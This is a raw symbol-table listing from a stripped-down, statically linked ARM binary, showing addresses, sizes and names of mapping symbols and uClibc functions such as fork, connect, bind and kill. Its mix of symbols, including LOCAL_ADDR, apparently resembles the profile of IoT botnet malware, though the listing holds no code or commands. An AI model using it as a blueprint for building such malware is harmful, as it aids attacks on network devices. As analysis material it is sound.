$a	.symtab	0x23b74	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x23bf4	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x23d58	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x23d88	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x23ecc	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x23fe8	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x24298	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x24644	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x24770	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x24810	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x24ca0	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x24cc0	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x24db0	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x24e9c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x24ee0	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x24f30	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x24f7c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x24ff4	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x25034	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x25058	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x250d4	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x251cc	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x25244	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x252ac	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x25500	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x2550c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x25544	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x2559c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x255f4	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x25600	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x25748	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x257a0	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x2587c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x258ac	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x25950	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x25974	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x25a24	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x25a64	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x25ad4	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x25b20	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x25b6c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x25b74	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x25b78	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x25ba4	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x25bb0	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x25bbc	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x25ddc	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x25f2c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x25f48	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x25fa8	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x26014	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x260cc	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x260ec	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x26230	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x26778	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x26780	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x26788	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x26790	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x2684c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x26890	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x26fa4	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x26fec	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x8128	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x32008	0	NOTYPE	<unknown>	DEFAULT	10
$d	.symtab	0x8180	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x32004	0	NOTYPE	<unknown>	DEFAULT	9
$d	.symtab	0x81c4	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x82a0	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x8d18	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x8e88	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x9448	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x9b68	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0xa214	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0xa8c0	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0xaf6c	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0xb3a4	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0xc098	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0xc3b4	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0xcedc	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0xe1d4	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0xee18	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x320b8	0	NOTYPE	<unknown>	DEFAULT	13
$d	.symtab	0xef14	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0xf9fc	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0xfaf0	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x10688	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x320dc	0	NOTYPE	<unknown>	DEFAULT	13
$d	.symtab	0x10788	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x112a0	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x11394	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x11e04	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x11ef0	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x12998	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x12a84	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x134e4	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x13a60	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x14a48	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x14cd4	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x156d0	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x156fc	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x1585c	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x158a8	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x159fc	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x16128	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x32108	0	NOTYPE	<unknown>	DEFAULT	13
$d	.symtab	0x3210c	0	NOTYPE	<unknown>	DEFAULT	13
$d	.symtab	0x32110	0	NOTYPE	<unknown>	DEFAULT	13
$d	.symtab	0x32114	0	NOTYPE	<unknown>	DEFAULT	13
$d	.symtab	0x16230	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x16e64	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x32118	0	NOTYPE	<unknown>	DEFAULT	13
$d	.symtab	0x16edc	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x16f44	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x17014	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x170f0	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x171d0	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x17c80	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x17d64	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x17ebc	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x17f10	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x1a274	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x1ac90	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x2887c	0	NOTYPE	<unknown>	DEFAULT	4
$d	.symtab	0x28885	0	NOTYPE	<unknown>	DEFAULT	4
$d	.symtab	0x1af00	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x1af9c	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x1b03c	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x1beb8	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x3213c	0	NOTYPE	<unknown>	DEFAULT	13
$d	.symtab	0x1c118	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x1cbf4	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x1cce8	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x1d7f8	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x0	0	NOTYPE	<unknown>	DEFAULT	21
$d	.symtab	0x20	0	NOTYPE	<unknown>	DEFAULT	21
$d	.symtab	0x26	0	NOTYPE	<unknown>	DEFAULT	21
$d	.symtab	0x2c	0	NOTYPE	<unknown>	DEFAULT	21
$d	.symtab	0x4c	0	NOTYPE	<unknown>	DEFAULT	21
$d	.symtab	0x53	0	NOTYPE	<unknown>	DEFAULT	21
$d	.symtab	0x1e100	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x1e1ec	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x1e2e0	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x1e324	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x1e368	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x1e3a8	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x1e3ec	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x1e46c	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x1e4b0	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x1e53c	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x1e5ac	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x1e6a4	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x1e788	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x1e848	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x1e8fc	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x297dc	0	NOTYPE	<unknown>	DEFAULT	4
$d	.symtab	0x1e9d8	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x1ea08	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x1ea3c	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x1ebe0	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x1ec4c	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x1ec90	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x1ed04	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x1ed48	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x1ed90	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x1edd4	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x1ee14	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x1ee84	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x1eed0	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x1ef54	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x1ef98	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x1f008	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x1f054	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x1f0dc	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x1f124	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x1f168	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x1f1bc	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x1f28c	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x1fc90	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x32140	0	NOTYPE	<unknown>	DEFAULT	13
$d	.symtab	0x1fdd8	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x20194	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x20638	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x2068c	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x207a8	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x32158	0	NOTYPE	<unknown>	DEFAULT	13
$d	.symtab	0x2085c	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x20914	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x209d4	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x20a78	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x32170	0	NOTYPE	<unknown>	DEFAULT	13
$d	.symtab	0x32208	0	NOTYPE	<unknown>	DEFAULT	13
$d	.symtab	0x20b20	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x20bf0	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x20ce4	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x20dd4	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x297f4	0	NOTYPE	<unknown>	DEFAULT	4
$d	.symtab	0x20fe4	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x21098	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x3221c	0	NOTYPE	<unknown>	DEFAULT	13
$d	.symtab	0x211e0	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x217fc	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x21bcc	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x21db8	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x21ee4	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x21ef0	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x21f80	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x22010	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x220a0	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x2228c	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x22340	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x223a0	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x223f4	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x227a0	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x32234	0	NOTYPE	<unknown>	DEFAULT	13
$d	.symtab	0x22860	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x22890	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x22910	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x2298c	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x229f0	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x22a58	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x22af8	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x22b84	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x22bc0	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x22c00	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x22c58	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x22c98	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x22cd8	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x22d34	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x22da0	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x2300c	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x233bc	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x236e4	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x23b40	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x23be4	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x23d3c	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x3224c	0	NOTYPE	<unknown>	DEFAULT	13
$d	.symtab	0x32248	0	NOTYPE	<unknown>	DEFAULT	13
$d	.symtab	0x2427c	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x2462c	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x24768	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x24da8	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x24e94	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x250d0	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x251c4	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x2522c	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x2529c	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x254d8	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x25538	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x255e8	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x25740	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x25878	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x2594c	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x25a1c	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x25ad0	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x25dc0	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x26768	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x58	0	NOTYPE	<unknown>	DEFAULT	21
$d	.symtab	0x0	0	NOTYPE	<unknown>	DEFAULT	23
$d	.symtab	0x23c	0	NOTYPE	<unknown>	DEFAULT	21
$d	.symtab	0xe39	0	NOTYPE	<unknown>	DEFAULT	23
$d	.symtab	0x32240	0	NOTYPE	<unknown>	DEFAULT	13
$d	.symtab	0x29882	0	NOTYPE	<unknown>	DEFAULT	4
C.11.5548	.symtab	0x29860	12	OBJECT	<unknown>	DEFAULT	4
C.43.5743	.symtab	0x28885	3	OBJECT	<unknown>	DEFAULT	4
C.44.5744	.symtab	0x2887c	9	OBJECT	<unknown>	DEFAULT	4
C.5.5083	.symtab	0x297dc	24	OBJECT	<unknown>	DEFAULT	4
C.7.5370	.symtab	0x2986c	12	OBJECT	<unknown>	DEFAULT	4
C.7.6109	.symtab	0x29ba8	12	OBJECT	<unknown>	DEFAULT	4
C.7.6182	.symtab	0x29b84	12	OBJECT	<unknown>	DEFAULT	4
C.8.6110	.symtab	0x29b9c	12	OBJECT	<unknown>	DEFAULT	4
C.9.6119	.symtab	0x29b90	12	OBJECT	<unknown>	DEFAULT	4
LOCAL_ADDR	.symtab	0x35118	4	OBJECT	<unknown>	DEFAULT	14
Laligned	.symtab	0x1eb28	0	NOTYPE	<unknown>	DEFAULT	2
Llastword	.symtab	0x1eb44	0	NOTYPE	<unknown>	DEFAULT	2
_Exit	.symtab	0x22990	104	FUNC	<unknown>	DEFAULT	2
_GLOBAL_OFFSET_TABLE_	.symtab	0x32010	0	OBJECT	<unknown>	HIDDEN	12
_Jv_RegisterClasses	.symtab	0x0	0	NOTYPE	<unknown>	DEFAULT	SHN_UNDEF
_READ.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
_Unwind_Complete	.symtab	0x25b74	4	FUNC	<unknown>	HIDDEN	2
_Unwind_DeleteException	.symtab	0x25b78	44	FUNC	<unknown>	HIDDEN	2
_Unwind_ForcedUnwind	.symtab	0x26828	36	FUNC	<unknown>	HIDDEN	2
_Unwind_GetCFA	.symtab	0x25b6c	8	FUNC	<unknown>	HIDDEN	2
_Unwind_GetDataRelBase	.symtab	0x25bb0	12	FUNC	<unknown>	HIDDEN	2
_Unwind_GetLanguageSpecificData	.symtab	0x2684c	68	FUNC	<unknown>	HIDDEN	2
_Unwind_GetRegionStart	.symtab	0x26fec	52	FUNC	<unknown>	HIDDEN	2
_Unwind_GetTextRelBase	.symtab	0x25ba4	12	FUNC	<unknown>	HIDDEN	2
_Unwind_RaiseException	.symtab	0x267bc	36	FUNC	<unknown>	HIDDEN	2
_Unwind_Resume	.symtab	0x267e0	36	FUNC	<unknown>	HIDDEN	2
_Unwind_Resume_or_Rethrow	.symtab	0x26804	36	FUNC	<unknown>	HIDDEN	2
_Unwind_VRS_Get	.symtab	0x25ad4	76	FUNC	<unknown>	HIDDEN	2
_Unwind_VRS_Pop	.symtab	0x260ec	324	FUNC	<unknown>	HIDDEN	2
_Unwind_VRS_Set	.symtab	0x25b20	76	FUNC	<unknown>	HIDDEN	2
_WRITE.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
__C_ctype_b	.symtab	0x32240	4	OBJECT	<unknown>	DEFAULT	13
__C_ctype_b.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
__C_ctype_b_data	.symtab	0x29882	768	OBJECT	<unknown>	DEFAULT	4
__EH_FRAME_BEGIN__	.symtab	0x32000	0	OBJECT	<unknown>	DEFAULT	7
__FRAME_END__	.symtab	0x32000	0	OBJECT	<unknown>	DEFAULT	7
__GI___C_ctype_b	.symtab	0x32240	4	OBJECT	<unknown>	HIDDEN	13
__GI___close	.symtab	0x21f10	100	FUNC	<unknown>	HIDDEN	2
__GI___close_nocancel	.symtab	0x21ef4	24	FUNC	<unknown>	HIDDEN	2
__GI___ctype_b	.symtab	0x32244	4	OBJECT	<unknown>	HIDDEN	13
__GI___errno_location	.symtab	0x1e9ec	32	FUNC	<unknown>	HIDDEN	2
__GI___fcntl_nocancel	.symtab	0x1e070	152	FUNC	<unknown>	HIDDEN	2
__GI___fgetc_unlocked	.symtab	0x24644	300	FUNC	<unknown>	HIDDEN	2
__GI___libc_close	.symtab	0x21f10	100	FUNC	<unknown>	HIDDEN	2
__GI___libc_fcntl	.symtab	0x1e108	244	FUNC	<unknown>	HIDDEN	2
__GI___libc_open	.symtab	0x21fa0	100	FUNC	<unknown>	HIDDEN	2
__GI___libc_read	.symtab	0x220c0	100	FUNC	<unknown>	HIDDEN	2
__GI___libc_write	.symtab	0x22030	100	FUNC	<unknown>	HIDDEN	2
__GI___open	.symtab	0x21fa0	100	FUNC	<unknown>	HIDDEN	2
__GI___open_nocancel	.symtab	0x21f84	24	FUNC	<unknown>	HIDDEN	2
__GI___read	.symtab	0x220c0	100	FUNC	<unknown>	HIDDEN	2
__GI___read_nocancel	.symtab	0x220a4	24	FUNC	<unknown>	HIDDEN	2
__GI___sigaddset	.symtab	0x1f2bc	36	FUNC	<unknown>	HIDDEN	2
__GI___sigdelset	.symtab	0x1f2e0	36	FUNC	<unknown>	HIDDEN	2
__GI___sigismember	.symtab	0x1f298	36	FUNC	<unknown>	HIDDEN	2
__GI___uClibc_fini	.symtab	0x222d8	124	FUNC	<unknown>	HIDDEN	2
__GI___uClibc_init	.symtab	0x223a8	88	FUNC	<unknown>	HIDDEN	2
__GI___write	.symtab	0x22030	100	FUNC	<unknown>	HIDDEN	2
__GI___write_nocancel	.symtab	0x22014	24	FUNC	<unknown>	HIDDEN	2
__GI__exit	.symtab	0x22990	104	FUNC	<unknown>	HIDDEN	2
__GI_abort	.symtab	0x20694	296	FUNC	<unknown>	HIDDEN	2
__GI_atoi	.symtab	0x20de0	32	FUNC	<unknown>	HIDDEN	2
__GI_bind	.symtab	0x1ec10	68	FUNC	<unknown>	HIDDEN	2
__GI_brk	.symtab	0x2559c	88	FUNC	<unknown>	HIDDEN	2
__GI_close	.symtab	0x21f10	100	FUNC	<unknown>	HIDDEN	2
__GI_closedir	.symtab	0x1e5b0	272	FUNC	<unknown>	HIDDEN	2
__GI_config_close	.symtab	0x23348	52	FUNC	<unknown>	HIDDEN	2
__GI_config_open	.symtab	0x2337c	72	FUNC	<unknown>	HIDDEN	2
__GI_config_read	.symtab	0x23020	808	FUNC	<unknown>	HIDDEN	2
__GI_connect	.symtab	0x1ec98	116	FUNC	<unknown>	HIDDEN	2
__GI_exit	.symtab	0x20ff4	196	FUNC	<unknown>	HIDDEN	2
__GI_fclose	.symtab	0x233c4	816	FUNC	<unknown>	HIDDEN	2
__GI_fcntl	.symtab	0x1e108	244	FUNC	<unknown>	HIDDEN	2
__GI_fflush_unlocked	.symtab	0x24298	940	FUNC	<unknown>	HIDDEN	2
__GI_fgetc	.symtab	0x23d88	324	FUNC	<unknown>	HIDDEN	2
__GI_fgetc_unlocked	.symtab	0x24644	300	FUNC	<unknown>	HIDDEN	2
__GI_fgets	.symtab	0x23ecc	284	FUNC	<unknown>	HIDDEN	2
__GI_fgets_unlocked	.symtab	0x24770	160	FUNC	<unknown>	HIDDEN	2
__GI_fopen	.symtab	0x236f4	32	FUNC	<unknown>	HIDDEN	2
__GI_fork	.symtab	0x21828	972	FUNC	<unknown>	HIDDEN	2
__GI_fstat	.symtab	0x229f8	100	FUNC	<unknown>	HIDDEN	2
__GI_getc_unlocked	.symtab	0x24644	300	FUNC	<unknown>	HIDDEN	2
__GI_getdtablesize	.symtab	0x22afc	44	FUNC	<unknown>	HIDDEN	2
__GI_getegid	.symtab	0x22b28	20	FUNC	<unknown>	HIDDEN	2
__GI_geteuid	.symtab	0x22b3c	20	FUNC	<unknown>	HIDDEN	2
__GI_getgid	.symtab	0x22b50	20	FUNC	<unknown>	HIDDEN	2
__GI_getpagesize	.symtab	0x22b64	40	FUNC	<unknown>	HIDDEN	2
__GI_getpid	.symtab	0x21c8c	72	FUNC	<unknown>	HIDDEN	2
__GI_getrlimit	.symtab	0x22b8c	56	FUNC	<unknown>	HIDDEN	2
__GI_getsockname	.symtab	0x1ed0c	68	FUNC	<unknown>	HIDDEN	2
__GI_gettimeofday	.symtab	0x22bc4	64	FUNC	<unknown>	HIDDEN	2
__GI_getuid	.symtab	0x22c04	20	FUNC	<unknown>	HIDDEN	2
__GI_inet_addr	.symtab	0x1ebe8	40	FUNC	<unknown>	HIDDEN	2
__GI_inet_aton	.symtab	0x250d4	248	FUNC	<unknown>	HIDDEN	2
__GI_initstate_r	.symtab	0x20bfc	248	FUNC	<unknown>	HIDDEN	2
__GI_ioctl	.symtab	0x1e210	224	FUNC	<unknown>	HIDDEN	2
__GI_isatty	.symtab	0x25034	36	FUNC	<unknown>	HIDDEN	2
__GI_kill	.symtab	0x1e2f0	56	FUNC	<unknown>	HIDDEN	2
__GI_listen	.symtab	0x1ed98	64	FUNC	<unknown>	HIDDEN	2
__GI_lseek64	.symtab	0x25a64	112	FUNC	<unknown>	HIDDEN	2
__GI_memcpy	.symtab	0x1ea40	4	FUNC	<unknown>	HIDDEN	2
__GI_memmove	.symtab	0x1ea50	4	FUNC	<unknown>	HIDDEN	2
__GI_mempcpy	.symtab	0x25950	36	FUNC	<unknown>	HIDDEN	2
__GI_memset	.symtab	0x1ea60	156	FUNC	<unknown>	HIDDEN	2
__GI_mmap	.symtab	0x227ec	124	FUNC	<unknown>	HIDDEN	2
__GI_mremap	.symtab	0x22c18	68	FUNC	<unknown>	HIDDEN	2
__GI_munmap	.symtab	0x22c5c	64	FUNC	<unknown>	HIDDEN	2
__GI_nanosleep	.symtab	0x22cdc	96	FUNC	<unknown>	HIDDEN	2
__GI_open	.symtab	0x21fa0	100	FUNC	<unknown>	HIDDEN	2
__GI_opendir	.symtab	0x1e790	196	FUNC	<unknown>	HIDDEN	2
__GI_raise	.symtab	0x21cd4	240	FUNC	<unknown>	HIDDEN	2
__GI_random	.symtab	0x207d4	164	FUNC	<unknown>	HIDDEN	2
__GI_random_r	.symtab	0x20a94	144	FUNC	<unknown>	HIDDEN	2
__GI_rawmemchr	.symtab	0x25974	176	FUNC	<unknown>	HIDDEN	2
__GI_read	.symtab	0x220c0	100	FUNC	<unknown>	HIDDEN	2
__GI_readdir	.symtab	0x1e904	232	FUNC	<unknown>	HIDDEN	2
__GI_readdir64	.symtab	0x22f34	236	FUNC	<unknown>	HIDDEN	2
